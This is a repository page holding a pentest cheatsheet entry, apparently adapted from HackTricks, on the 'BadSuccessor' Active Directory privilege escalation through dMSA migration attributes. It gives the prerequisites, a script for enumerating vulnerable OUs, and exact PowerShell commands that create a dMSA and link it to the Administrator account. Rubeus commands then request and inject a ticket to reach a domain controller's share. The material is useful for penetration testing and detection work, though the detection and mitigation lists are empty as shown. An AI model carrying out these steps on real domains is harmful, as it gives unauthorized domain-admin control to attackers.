repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
badsuccessor-dmsa-migration-abuse.mdMarkdown117 lines6.9 KiBsource raw download

title: "BadSuccessor: Privilege Escalation via Delegated MSA Migration Abuse" section: "Windows" sectionSlug: "windows-hardening" sourcePath: "src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

BadSuccessor: Privilege Escalation via Delegated MSA Migration Abuse#

Overview#

Delegated Managed Service Accounts (dMSA) are the next-generation successor of gMSA that ship in Windows Server 2025. A legitimate migration workflow allows administrators to replace an old account (user, computer or service account) with a dMSA while transparently preserving permissions. The workflow is exposed through PowerShell cmdlets such as Start-ADServiceAccountMigration and Complete-ADServiceAccountMigration and relies on two LDAP attributes of the dMSA object:

If an attacker can create any dMSA inside an OU and directly manipulate those 2 attributes, LSASS & the KDC will treat the dMSA as a successor of the linked account. When the attacker subsequently authenticates as the dMSA they inherit all the privileges of the linked account – up to Domain Admin if the Administrator account is linked.[1]

This technique was coined BadSuccessor by Unit 42 in 2025. Microsoft later assigned it CVE-2025-53779 and released a security update in August 2025. The technique remains relevant to unpatched Windows Server 2025 environments and to reviews of dangerous OU delegation.[1][2][6]

Attack prerequisites#

  1. An account that is allowed to create objects inside an Organizational Unit (OU) and has at least one of:
    • Create Child → msDS-DelegatedManagedServiceAccount object class
    • Create Child → All Objects (generic create)
  2. Network connectivity to LDAP & Kerberos (standard domain joined scenario / remote attack).[1]

Enumerating Vulnerable OUs#

Unit 42 released a PowerShell helper script that parses security descriptors of each OU and highlights the required ACEs:[1]

Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local

Under the hood the script runs a paged LDAP search for (objectClass=organizationalUnit) and checks every nTSecurityDescriptor for

Exploitation Steps#

Once a writable OU is identified the attack is only 3 LDAP writes away:[1]

# 1. Create a new delegated MSA inside the delegated OU
New-ADServiceAccount -Name attacker_dMSA \
                     -DNSHostName host.contoso.local \
                     -Path "OU=DelegatedOU,DC=contoso,DC=com"

# 2. Point the dMSA to the target account (e.g. Domain Admin)
Set-ADServiceAccount attacker_dMSA -Add \
    @{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}

# 3. Mark the migration as *completed*
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}

After replication the attacker can simply logon as attacker_dMSA$ or request a Kerberos TGT – Windows will build the token of the superseded account.[1]

Automation#

Several public PoCs wrap the entire workflow including password retrieval and ticket management:

Post-Exploitation#

# Request a TGT for the dMSA and inject it (Rubeus)
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
Rubeus ptt /ticket:<Base64TGT>

# Access Domain Admin resources
dir \\DC01\C$

Detection & Hunting#

Enable Object Auditing on OUs and monitor for the following Windows Security Events:[1][2]

Correlating 4662 (attribute modification), 4741 (creation of a computer/service account) and 4624 (subsequent logon) quickly highlights BadSuccessor activity. XDR solutions such as XSIAM ship with ready-to-use queries (see references).[2]

Mitigation#

See also#

Golden Dmsa Gmsa

References#